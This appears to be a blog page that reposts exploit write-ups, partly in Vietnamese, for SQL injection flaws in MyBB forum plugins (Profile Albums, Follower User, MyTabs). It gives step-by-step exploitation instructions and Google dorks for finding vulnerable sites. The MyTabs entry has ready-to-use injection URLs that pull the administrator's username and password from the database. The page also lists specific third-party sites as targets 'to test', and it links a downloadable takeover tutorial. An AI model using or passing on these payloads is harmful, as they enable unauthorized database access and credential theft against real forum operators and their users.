MyBB Profile Albums Plugin 0.9 (albums.php, album parameter) SQL Injection

Bug cho forum sài MyBB với cái Albums plugin version 0.9
Tut:
1. Tạo cái user trên forum victim.
2. Tạo cái Album rồi upload hình lên.
-> 2 bước trên để có được cái ID user và ID của album sử dụng cho bước thứ 3.
ĐỌC TIẾP »

MyBB Profile Albums Plugin 0.9 (albums.php, album parameter) SQL Injection

By: MIN Software on: 1:42 AM

MyBB Follower User Plugin SQL Injection

# Exploit Title: Follower User MyBB plugin SQL Injection 0day
# Google Dork: intext:"Users subscribed to" inurl:member.php -site:fwcombie.us
# Date: 13.10.2012
# Exploit Author: Th3FreakPony
# Software Link: http://mods.mybb.com/view/suscriber-user
# Version: 1.5+
# Tested on: Linux.
----------------------------------------------

The vulnerabillity exist within SuscribeUsers.php on SuscribeUsers_add():

$usid = $mybb->input[usid]; //Line 671
$uid = $mybb->input[uid]; //Line 672
if(user_awaiting($uid,$usid)) //Line 781
{ //Line 782
redirect("member.php?action=profile&uid=".$usid."# suscriberuser", $lang->double_suscription_awaiting,$lang->suscriberuser); // Line 783
} //Line 784
?>


----------------------------------------------

Instructions:
1. Create a new account on the target site.
2. Check your User ID by entering your profile link and write it down.
3. Enter here and start to inject your code:

/misc.php?suscriberuser=yes&usid='[SQLi]--+-&uid=[Your_User_ID]

----------------------------------------------

Demo:
http://server/misc.php?suscriberuser=yes&usid=' or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0)--+-2&uid=[your_uid]
Image : http://i.imgur.com/eGhzJ.png


Follow: https://twitter.com/PonyBlaze


Shotouts goes to FillySec. 

MyBB Follower User Plugin SQL Injection

By: MIN Software on: 1:38 AM

MyBB 0day \ MyTabs (plugin) SQL injection vulnerability

================================================== ===================
MyBB 0day \ MyTabs (plugin) SQL injection vulnerability
================================================== ===================

# Exploit title : MyBB 0day \ MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home : skidforums.AL , Autorun-Albania.COM , HackingWith.US , whiteh4t.com
# Date : 01 \ 08 \ 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid ^_^ !

Vulnerability :

Code:

$~ http://localhost/mybbpath/index.php?tab=[SQLi]

---------------------------------------
# ~ Expl0itation ~ #
---------------------------------------

$~ Get the administrator's username (usually it has uid=1) ~

Code:

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count,concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

$~ Get the administrator's password ~

Code:

http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count,concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Vài site để các bạn test:

Code:

http://icanhazcookie.net
http://edcmania.com
http://livedown.us
......

Thanks all

MyBB 0day \ MyTabs (plugin) SQL injection vulnerability

By: MIN Software on: 9:05 AM

[TUT] Chiếm quyền MyBB

Tutorial: http://www.mediafire.com/?ul68s1g6gm49ssb

[TUT] Chiếm quyền MyBB

By: MIN Software on: 6:48 AM